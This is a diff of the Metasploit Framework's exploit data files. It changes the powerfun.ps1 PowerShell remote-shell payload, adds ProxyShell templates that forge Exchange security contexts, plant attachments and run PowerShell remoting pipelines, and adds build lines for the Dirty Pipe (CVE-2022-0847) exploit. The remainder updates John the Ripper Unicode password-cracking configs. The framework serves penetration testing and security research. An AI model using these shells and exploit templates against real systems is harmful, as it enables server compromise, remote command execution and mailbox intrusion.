+	$(MUSL_CROSS)i486-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-x86
+	$(MUSL_CROSS)aarch64-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-aarch64
+	$(MUSL_CROSS)armv5l-linux-musleabi-gcc -static CVE-2022-0847.c -o CVE-2022-0847-armle
+

data/exploits/ldap/msf.ldif

@@ -0,0 +1,5 @@
+dn: dc=metasploit,dc=com
+objectClass: dcObject
+objectClass: organization
+o: Metasploit Framework
+dc: metasploit

data/exploits/powershell/powerfun.ps1

@@ -1,5 +1,3 @@
-# Powerfun - Written by Ben Turner & Dave Hardy
-
 function Get-Webclient 
 {
     $wc = New-Object -TypeName Net.WebClient
@@ -32,12 +30,12 @@ function powerfun
     if ($Sslcon -eq "true") 
     {
         $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
-        $sslStream.AuthenticateAsClient("LHOST_REPLACE") 
+        $sslStream.AuthenticateAsClient("LHOST_REPLACE",$null,"tls12",$false)
         $stream = $sslStream 
     }
 
     [byte[]]$bytes = 0..20000|%{0}
-    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
+    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) Microsoft Corporation. All rights reserved.`n`n")
     $stream.Write($sendbytes,0,$sendbytes.Length)
 
     if ($Download -eq "true")
@@ -50,9 +48,6 @@ function powerfun
         }
     }
 
-    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
-    $stream.Write($sendbytes,0,$sendbytes.Length)
-
     while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
     {
         $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
@@ -69,6 +64,9 @@ function powerfun
         $stream.Flush()  
     }
     $client.Close()
+    if ($listener)
+    {
     $listener.Stop()
     }
+    }
 }

data/exploits/proxyshell/create_pipeline.xml.erb

@@ -0,0 +1,121 @@
+<%#
+  The default create_pipeline template wraps everything within an Invoke-Expression call, treating the command as a
+  string, but that doesn't work for the Exchange environment.
+%>
+<Obj RefId="0">
+  <MS>
+    <Obj N="PowerShell" RefId="1">
+      <MS>
+        <Obj N="Cmds" RefId="2">
+          <TN RefId="0">
+            <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
+            <T>System.Object</T>
+          </TN>
+          <LST>
+            <Obj RefId="3">
+              <MS>
+                <S N="Cmd"><%= cmdlet.encode(xml: :text) %></S>
+                <B N="IsScript">false</B>
+                <Nil N="UseLocalScope" />
+                <Obj N="MergeMyResult" RefId="4">
+                  <TN RefId="1">
+                    <T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
+                    <T>System.Enum</T>
+                    <T>System.ValueType</T>
+                    <T>System.Object</T>
+                  </TN>
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergeToResult" RefId="5">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergePreviousResults" RefId="6">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergeError" RefId="7">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergeWarning" RefId="8">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergeVerbose" RefId="9">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="MergeDebug" RefId="10">
+                  <TNRef RefId="1" />
+                  <ToString>None</ToString>
+                  <I32>0</I32>
+                </Obj>
+                <Obj N="Args" RefId="11">
+                  <TNRef RefId="0" />
+                  <LST>
+                    <% args.each_with_index do |arg, index| %>
+                    <%# start indexing arguments at 100 to be above the index numbers used by everything else %>
+                    <Obj RefId="<%= 100 + index %>">
+                      <MS>
+                        <S N="N"><%= arg[:name].encode(xml: :text) %></S>
+                        <% if arg[:value].nil? %>
+                        <Nil N="V" />
+                        <% elsif arg[:value].is_a?(TrueClass) || arg[:value].is_a?(FalseClass) %>
+                        <B N="V"><%= arg[:value].to_s %></B>
+                        <% elsif arg[:value].is_a? String %>
+                        <S N="V"><%= arg[:value].encode(xml: :text) %></S>
+                        <% end %>
+                      </MS>
+                    </Obj>
+                    <% end %>
+                  </LST>
+                </Obj>
+              </MS>
+            </Obj>
+          </LST>
+        </Obj>
+        <B N="IsNested">false</B>
+        <Nil N="History" />
+        <B N="RedirectShellErrorOutputPipe">true</B>
+      </MS>
+    </Obj>
+    <B N="NoInput">true</B>
+    <Obj N="ApartmentState" RefId="23">
+      <TN RefId="2">
+        <T>System.Threading.ApartmentState</T>
+        <T>System.Enum</T>
+        <T>System.ValueType</T>
+        <T>System.Object</T>
+      </TN>
+      <ToString>Unknown</ToString>
+      <I32>2</I32>
+    </Obj>
+    <Obj N="RemoteStreamOptions" RefId="24">
+      <TN RefId="3">
+        <T>System.Management.Automation.RemoteStreamOptions</T>
+        <T>System.Enum</T>
+        <T>System.ValueType</T>
+        <T>System.Object</T>
+      </TN>
+      <ToString>0</ToString>
+      <I32>0</I32>
+    </Obj>
+    <B N="AddToHistory">true</B>
+    <Obj N="HostInfo" RefId="25">
+      <MS>
+        <B N="_isHostNull">true</B>
+        <B N="_isHostUINull">true</B>
+        <B N="_isHostRawUINull">true</B>
+        <B N="_useRunspaceHost">true</B>
+      </MS>
+    </Obj>
+    <B N="IsNested">false</B>
+  </MS>
+</Obj>

data/exploits/proxyshell/soap_autodiscover.xml.erb

@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
+  <Request>
+    <EMailAddress><%= email.encode(xml: :text) %></EMailAddress>
+    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
+  </Request>
+</Autodiscover>

data/exploits/proxyshell/soap_draft.xml.erb

@@ -0,0 +1,41 @@
+<soap:Envelope
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
+  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
+  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Header>
+    <t:RequestServerVersion Version="Exchange2016" />
+    <t:SerializedSecurityContext>
+      <t:UserSid><%= user_sid.encode(xml: :text) %></t:UserSid>
+      <t:GroupSids>
+        <t:GroupIdentifier>
+          <t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
+        </t:GroupIdentifier>
+      </t:GroupSids>
+    </t:SerializedSecurityContext>
+  </soap:Header>
+  <soap:Body>
+    <m:CreateItem MessageDisposition="SaveOnly">
+      <m:Items>
+        <t:Message>
+          <t:Subject><%= subject.encode(xml: :text) %></t:Subject>
+          <!-- todo: make these fields totes legit -->
+          <t:Body BodyType="HTML"></t:Body>
+          <t:Attachments>
+            <t:FileAttachment>
+              <t:Name><%= file_name.encode(xml: :text) %></t:Name>
+              <t:IsInline>false</t:IsInline>
+              <t:IsContactPhoto>false</t:IsContactPhoto>
+              <t:Content><%= file_content.encode(xml: :text) %></t:Content>
+            </t:FileAttachment>
+          </t:Attachments>
+          <t:ToRecipients>
+            <t:Mailbox>
+              <t:EmailAddress><%= Faker::Internet.email.encode(xml: :text) %></t:EmailAddress>
+            </t:Mailbox>
+          </t:ToRecipients>
+        </t:Message>
+      </m:Items>
+    </m:CreateItem>
+  </soap:Body>
+</soap:Envelope>

data/exploits/proxyshell/soap_getemails.xml.erb

@@ -0,0 +1,14 @@
+<soap:Envelope
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
+  xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
+  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Header>
+    <t:RequestServerVersion Version="Exchange2016" />
+  </soap:Header>
+  <soap:Body>
+    <m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
+      <m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
+    </m:ResolveNames>
+  </soap:Body>
+</soap:Envelope>

data/headers/windows/Windows.h

@@ -340,6 +340,11 @@ typedef struct _GUID {
   BYTE  Data4[8];
 } GUID;
 
+typedef struct _LIST_ENTRY {
+  struct _LIST_ENTRY *Flink;
+  struct _LIST_ENTRY *Blink;
+} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
+
 typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
 
 typedef enum _PROCESSINFOCLASS {

data/headers/windows/base64.h

@@ -17,7 +17,7 @@ static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopq
 int base64decode(char *dest, const char *src, int l)
 {
   static char inalphabet[256], decoder[256];
-  static bool table_initialized = false;
+  static short table_initialized = 0;
   int i, bits, c, char_count;
   int rpos;
   int wpos = 0;
@@ -27,7 +27,7 @@ int base64decode(char *dest, const char *src, int l)
       inalphabet[alphabet[i]] = 1;
       decoder[alphabet[i]] = i;
     }
-    table_initialized = true;
+    table_initialized = 1;
   }
 
   char_count = 0;

data/jtr/dumb16.conf

@@ -1,17 +1,22 @@
-# This  software is Copyright (c) 2012-2018 magnum, and it is hereby
+# This  software is Copyright (c) 2012-2020 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
 # Generic implementation of "dumb" exhaustive search of Unicode BMP.
-# Default is to try *all* allocated characters in the BMP of Unicode v11
-# (there's 55,292 of them). Even if a fast format can exhaust two characters
+# Default is to try *all* allocated characters in the BMP of Unicode v13
+# (there's 55,387 of them). Even if a fast format can exhaust two characters
 # in 15 minutes, three characters would take 1.5 years...
 #
 # Note that these modes will handle --max-len differently than normal: They
 # will consider number of characters as opposed to number of bytes. This
 # means you can naturally just use e.g. --max-len=3 for generating all
 # three-character candidates (which may be up to 9 bytes each).
+#
+# Note that the (newer) cracking mode --subsets=full-unicode is way faster than
+# this external mode, although not as easy to adapt to smaller portions of the
+# Unicode space.  See doc/SUBSETS
+
 [List.External:Dumb16]
 int maxlength;            // Maximum password length to try
 int last;                 // Last character position, zero-based
@@ -163,7 +168,7 @@ void init()
 	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
 		charset[i++] = c++;
 	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8bd)	// ..to ARABIC LETTER AFRICAN NOON
+	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
 		charset[i++] = c++;
 	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
@@ -300,7 +305,7 @@ void init()
 	charset[i++] = 0xb48;	// ORIYA VOWEL SIGN AI
 	charset[i++] = 0xb4b;	// ORIYA VOWEL SIGN O
 	charset[i++] = 0xb4d;	// ORIYA SIGN VIRAMA
-	charset[i++] = 0xb56;	// ORIYA AI LENGTH MARK
+	charset[i++] = 0xb55;	// ORIYA SIGN OVERLINE
 	charset[i++] = 0xb57;	// ORIYA AU LENGTH MARK
 	charset[i++] = 0xb5c;	// ORIYA LETTER RRA
 	charset[i++] = 0xb5d;	// ORIYA LETTER RHA
@@ -373,7 +378,7 @@ void init()
 	c = 0xc66;		// from TELUGU DIGIT ZERO
 	while (c <= 0xc6f)	// ..to TELUGU DIGIT NINE
 		charset[i++] = c++;
-	c = 0xc78;		// from TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
+	c = 0xc77;		// from TELUGU SIGN SIDDHAM
 	while (c <= 0xc7f)	// ..to TELUGU SIGN TUUMU
 		charset[i++] = c++;
 // 0C80..0CFF; Kannada
@@ -411,9 +416,6 @@ void init()
 	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
-	while (c <= 0xd03)	// ..to MALAYALAM SIGN VISARGA
-		charset[i++] = c++;
-	c = 0xd05;		// from MALAYALAM LETTER A
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
 		charset[i++] = c++;
 	charset[i++] = 0xd0e;	// MALAYALAM LETTER E
@@ -433,7 +435,7 @@ void init()
 	while (c <= 0xd7f)	// ..to MALAYALAM LETTER CHILLU K
 		charset[i++] = c++;
 // 0D80..0DFF; Sinhala
-	charset[i++] = 0xd82;	// SINHALA SIGN ANUSVARAYA
+	charset[i++] = 0xd81;	// SINHALA SIGN CANDRABINDU
 	charset[i++] = 0xd83;	// SINHALA SIGN VISARGAYA
 	c = 0xd85;		// from SINHALA LETTER AYANNA
 	while (c <= 0xd96)	// ..to SINHALA LETTER AUYANNA
@@ -468,23 +470,15 @@ void init()
 // 0E80..0EFF; Lao
 	charset[i++] = 0xe81;	// LAO LETTER KO
 	charset[i++] = 0xe82;	// LAO LETTER KHO SUNG
-	charset[i++] = 0xe87;	// LAO LETTER NGO
-	charset[i++] = 0xe88;	// LAO LETTER CO
-	c = 0xe94;		// from LAO LETTER DO
-	while (c <= 0xe97)	// ..to LAO LETTER THO TAM
+	c = 0xe86;		// from LAO LETTER PALI GHA
+	while (c <= 0xe8a)	// ..to LAO LETTER SO TAM
 		charset[i++] = c++;
-	c = 0xe99;		// from LAO LETTER NO
-	while (c <= 0xe9f)	// ..to LAO LETTER FO SUNG
+	c = 0xe8c;		// from LAO LETTER PALI JHA
+	while (c <= 0xea3)	// ..to LAO LETTER LO LING
 		charset[i++] = c++;
-	charset[i++] = 0xea1;	// LAO LETTER MO
-	charset[i++] = 0xea3;	// LAO LETTER LO LING
-	charset[i++] = 0xeaa;	// LAO LETTER SO SUNG
-	charset[i++] = 0xeab;	// LAO LETTER HO SUNG
-	c = 0xead;		// from LAO LETTER O
-	while (c <= 0xeb9)	// ..to LAO VOWEL SIGN UU
+	c = 0xea7;		// from LAO LETTER WO
+	while (c <= 0xebd)	// ..to LAO SEMIVOWEL SIGN NYO
 		charset[i++] = c++;
-	charset[i++] = 0xebb;	// LAO VOWEL SIGN MAI KON
-	charset[i++] = 0xebd;	// LAO SEMIVOWEL SIGN NYO
 	c = 0xec0;		// from LAO VOWEL SIGN E
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
@@ -710,7 +704,7 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1abe)	// ..to COMBINING PARENTHESES OVERLAY
+	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
@@ -759,7 +753,7 @@ void init()
 		charset[i++] = c++;
 // 1CD0..1CFF; Vedic Extensions
 	c = 0x1cd0;		// from VEDIC TONE KARSHANA
-	while (c <= 0x1cf9)	// ..to VEDIC TONE DOUBLE RING ABOVE
+	while (c <= 0x1cfa)	// ..to VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA
 		charset[i++] = c++;
 // 1D00..1D7F; Phonetic Extensions
 	c = 0x1d00;		// from LATIN LETTER SMALL CAPITAL A
@@ -926,11 +920,8 @@ void init()
 	c = 0x2b76;		// from NORTH WEST TRIANGLE-HEADED ARROW TO BAR
 	while (c <= 0x2b95)	// ..to RIGHTWARDS BLACK ARROW
 		charset[i++] = c++;
-	c = 0x2b98;		// from THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
-	while (c <= 0x2bc8)	// ..to BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-		charset[i++] = c++;
-	c = 0x2bca;		// from TOP HALF BLACK CIRCLE
-	while (c <= 0x2bfe)	// ..to REVERSED RIGHT ANGLE
+	c = 0x2b97;		// from SYMBOL FOR TYPE A ELECTRONICS
+	while (c <= 0x2bff)	// ..to HELLSCHREIBER PAUSE SYMBOL
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
@@ -998,7 +989,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e4e)	// ..to PUNCTUS ELEVATUS MARK
+	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1044,7 +1035,7 @@ void init()
 		charset[i++] = c++;
 // 31A0..31BF; Bopomofo Extended
 	c = 0x31a0;		// from BOPOMOFO LETTER BU
-	while (c <= 0x31ba)	// ..to BOPOMOFO LETTER ZY
+	while (c <= 0x31bf)	// ..to BOPOMOFO LETTER AH
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
@@ -1059,7 +1050,7 @@ void init()
 	while (c <= 0x321e)	// ..to PARENTHESIZED KOREAN CHARACTER O HU
 		charset[i++] = c++;
 	c = 0x3220;		// from PARENTHESIZED IDEOGRAPH ONE
-	while (c <= 0x32fe)	// ..to CIRCLED KATAKANA WO
+	while (c <= 0x32ff)	// ..to SQUARE ERA NAME REIWA
 		charset[i++] = c++;
 // 3300..33FF; CJK Compatibility
 	c = 0x3300;		// from SQUARE APAATO
@@ -1067,7 +1058,7 @@ void init()
 		charset[i++] = c++;
 // 3400..4DBF; CJK Unified Ideographs Extension A
 	c = 0x3400;		// from <CJK Ideograph Extension A, First>
-	while (c <= 0x4db5)	// ..to <CJK Ideograph Extension A, Last>
+	while (c <= 0x4dbf)	// ..to <CJK Ideograph Extension A, Last>
 		charset[i++] = c++;
 // 4DC0..4DFF; Yijing Hexagram Symbols
 	c = 0x4dc0;		// from HEXAGRAM FOR THE CREATIVE HEAVEN
@@ -1075,7 +1066,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9fef)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1107,14 +1098,17 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7b9)	// ..to LATIN SMALL LETTER U WITH STROKE
+	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
 		charset[i++] = c++;
-	c = 0xa7f7;		// from LATIN EPIGRAPHIC LETTER SIDEWAYS I
+	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
+	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+		charset[i++] = c++;
+	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
 	c = 0xa800;		// from SYLOTI NAGRI LETTER A
-	while (c <= 0xa82b)	// ..to SYLOTI NAGRI POETRY MARK-4
+	while (c <= 0xa82c)	// ..to SYLOTI NAGRI SIGN ALTERNATE HASANTA
 		charset[i++] = c++;
 // A830..A83F; Common Indic Number Forms
 	c = 0xa830;		// from NORTH INDIC FRACTION ONE QUARTER
@@ -1207,7 +1201,7 @@ void init()
 		charset[i++] = c++;
 // AB30..AB6F; Latin Extended-E
 	c = 0xab30;		// from LATIN SMALL LETTER BARRED ALPHA
-	while (c <= 0xab65)	// ..to GREEK LETTER SMALL CAPITAL OMEGA
+	while (c <= 0xab6b)	// ..to MODIFIER LETTER RIGHT TACK
 		charset[i++] = c++;
 // AB70..ABBF; Cherokee Supplement
 	c = 0xab70;		// from CHEROKEE SMALL LETTER A

data/jtr/dumb32.conf

@@ -1,11 +1,11 @@
-# This  software is Copyright (c) 2012-2018 magnum, and it is hereby
+# This  software is Copyright (c) 2012-2020 magnum, and it is hereby
 # released to the general public under the following terms:
 # Redistribution and use in source and binary forms, with or without
 # modification, are permitted.
 #
 # Generic implementation of "dumb" exhaustive search of FULL Unicode.
-# Default is to try *all* allocated characters in Unicode v11 (there's
-# 137,046 of them). Even if a fast format can exhaust two characters in one
+# Default is to try *all* allocated characters in Unicode v13 (there's
+# 143,532 of them). Even if a fast format can exhaust two characters in one
 # hour, three characters would take 12 years...
 #
 # Note that these modes will handle --max-len differently than normal: They
@@ -17,12 +17,17 @@
 # format will be up to four bytes (two 16-bit words) due to use of surrogates
 # for characters above U+FFFF. This means a format which normally handles up
 # to 27 characters may be limited to only 13 characters, worst case.
+#
+# Note that the (newer) cracking mode --subsets=full-unicode is way faster than
+# this external mode, although not as easy to adapt to smaller portions of the
+# Unicode space.  See doc/SUBSETS
+
 [List.External:Dumb32]
 int maxlength;            // Maximum password length to try
 int last;                 // Last character position, zero-based
 int lastid;               // Character index in the last position
 int id[0x7f];             // Current character indices for other positions
-int charset[0x22000], c0; // Characters
+int charset[0x24000], c0; // Characters
 
 void init()
 {
@@ -168,7 +173,7 @@ void init()
 	while (c <= 0x8b4)	// ..to ARABIC LETTER KAF WITH DOT BELOW
 		charset[i++] = c++;
 	c = 0x8b6;		// from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
-	while (c <= 0x8bd)	// ..to ARABIC LETTER AFRICAN NOON
+	while (c <= 0x8c7)	// ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
 		charset[i++] = c++;
 	c = 0x8d3;		// from ARABIC SMALL LOW WAW
 	while (c <= 0x8ff)	// ..to ARABIC MARK SIDEWAYS NOON GHUNNA
@@ -305,7 +310,7 @@ void init()
 	charset[i++] = 0xb48;	// ORIYA VOWEL SIGN AI
 	charset[i++] = 0xb4b;	// ORIYA VOWEL SIGN O
 	charset[i++] = 0xb4d;	// ORIYA SIGN VIRAMA
-	charset[i++] = 0xb56;	// ORIYA AI LENGTH MARK
+	charset[i++] = 0xb55;	// ORIYA SIGN OVERLINE
 	charset[i++] = 0xb57;	// ORIYA AU LENGTH MARK
 	charset[i++] = 0xb5c;	// ORIYA LETTER RRA
 	charset[i++] = 0xb5d;	// ORIYA LETTER RHA
@@ -378,7 +383,7 @@ void init()
 	c = 0xc66;		// from TELUGU DIGIT ZERO
 	while (c <= 0xc6f)	// ..to TELUGU DIGIT NINE
 		charset[i++] = c++;
-	c = 0xc78;		// from TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
+	c = 0xc77;		// from TELUGU SIGN SIDDHAM
 	while (c <= 0xc7f)	// ..to TELUGU SIGN TUUMU
 		charset[i++] = c++;
 // 0C80..0CFF; Kannada
@@ -416,9 +421,6 @@ void init()
 	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
-	while (c <= 0xd03)	// ..to MALAYALAM SIGN VISARGA
-		charset[i++] = c++;
-	c = 0xd05;		// from MALAYALAM LETTER A
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
 		charset[i++] = c++;
 	charset[i++] = 0xd0e;	// MALAYALAM LETTER E
@@ -438,7 +440,7 @@ void init()
 	while (c <= 0xd7f)	// ..to MALAYALAM LETTER CHILLU K
 		charset[i++] = c++;
 // 0D80..0DFF; Sinhala
-	charset[i++] = 0xd82;	// SINHALA SIGN ANUSVARAYA
+	charset[i++] = 0xd81;	// SINHALA SIGN CANDRABINDU
 	charset[i++] = 0xd83;	// SINHALA SIGN VISARGAYA
 	c = 0xd85;		// from SINHALA LETTER AYANNA
 	while (c <= 0xd96)	// ..to SINHALA LETTER AUYANNA
@@ -473,23 +475,15 @@ void init()
 // 0E80..0EFF; Lao
 	charset[i++] = 0xe81;	// LAO LETTER KO
 	charset[i++] = 0xe82;	// LAO LETTER KHO SUNG
-	charset[i++] = 0xe87;	// LAO LETTER NGO
-	charset[i++] = 0xe88;	// LAO LETTER CO
-	c = 0xe94;		// from LAO LETTER DO
-	while (c <= 0xe97)	// ..to LAO LETTER THO TAM
+	c = 0xe86;		// from LAO LETTER PALI GHA
+	while (c <= 0xe8a)	// ..to LAO LETTER SO TAM
 		charset[i++] = c++;
-	c = 0xe99;		// from LAO LETTER NO
-	while (c <= 0xe9f)	// ..to LAO LETTER FO SUNG
+	c = 0xe8c;		// from LAO LETTER PALI JHA
+	while (c <= 0xea3)	// ..to LAO LETTER LO LING
 		charset[i++] = c++;
-	charset[i++] = 0xea1;	// LAO LETTER MO
-	charset[i++] = 0xea3;	// LAO LETTER LO LING
-	charset[i++] = 0xeaa;	// LAO LETTER SO SUNG
-	charset[i++] = 0xeab;	// LAO LETTER HO SUNG
-	c = 0xead;		// from LAO LETTER O
-	while (c <= 0xeb9)	// ..to LAO VOWEL SIGN UU
+	c = 0xea7;		// from LAO LETTER WO
+	while (c <= 0xebd)	// ..to LAO SEMIVOWEL SIGN NYO
 		charset[i++] = c++;
-	charset[i++] = 0xebb;	// LAO VOWEL SIGN MAI KON
-	charset[i++] = 0xebd;	// LAO SEMIVOWEL SIGN NYO
 	c = 0xec0;		// from LAO VOWEL SIGN E
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
@@ -715,7 +709,7 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1abe)	// ..to COMBINING PARENTHESES OVERLAY
+	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
@@ -764,7 +758,7 @@ void init()
 		charset[i++] = c++;
 // 1CD0..1CFF; Vedic Extensions
 	c = 0x1cd0;		// from VEDIC TONE KARSHANA
-	while (c <= 0x1cf9)	// ..to VEDIC TONE DOUBLE RING ABOVE
+	while (c <= 0x1cfa)	// ..to VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA
 		charset[i++] = c++;
 // 1D00..1D7F; Phonetic Extensions
 	c = 0x1d00;		// from LATIN LETTER SMALL CAPITAL A
@@ -931,11 +925,8 @@ void init()
 	c = 0x2b76;		// from NORTH WEST TRIANGLE-HEADED ARROW TO BAR
 	while (c <= 0x2b95)	// ..to RIGHTWARDS BLACK ARROW
 		charset[i++] = c++;
-	c = 0x2b98;		// from THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD
-	while (c <= 0x2bc8)	// ..to BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-		charset[i++] = c++;
-	c = 0x2bca;		// from TOP HALF BLACK CIRCLE
-	while (c <= 0x2bfe)	// ..to REVERSED RIGHT ANGLE
+	c = 0x2b97;		// from SYMBOL FOR TYPE A ELECTRONICS
+	while (c <= 0x2bff)	// ..to HELLSCHREIBER PAUSE SYMBOL
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
@@ -1003,7 +994,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e4e)	// ..to PUNCTUS ELEVATUS MARK
+	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1049,7 +1040,7 @@ void init()
 		charset[i++] = c++;
 // 31A0..31BF; Bopomofo Extended
 	c = 0x31a0;		// from BOPOMOFO LETTER BU
-	while (c <= 0x31ba)	// ..to BOPOMOFO LETTER ZY
+	while (c <= 0x31bf)	// ..to BOPOMOFO LETTER AH
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
@@ -1064,7 +1055,7 @@ void init()
 	while (c <= 0x321e)	// ..to PARENTHESIZED KOREAN CHARACTER O HU
 		charset[i++] = c++;
 	c = 0x3220;		// from PARENTHESIZED IDEOGRAPH ONE
-	while (c <= 0x32fe)	// ..to CIRCLED KATAKANA WO
+	while (c <= 0x32ff)	// ..to SQUARE ERA NAME REIWA
 		charset[i++] = c++;
 // 3300..33FF; CJK Compatibility
 	c = 0x3300;		// from SQUARE APAATO
@@ -1072,7 +1063,7 @@ void init()
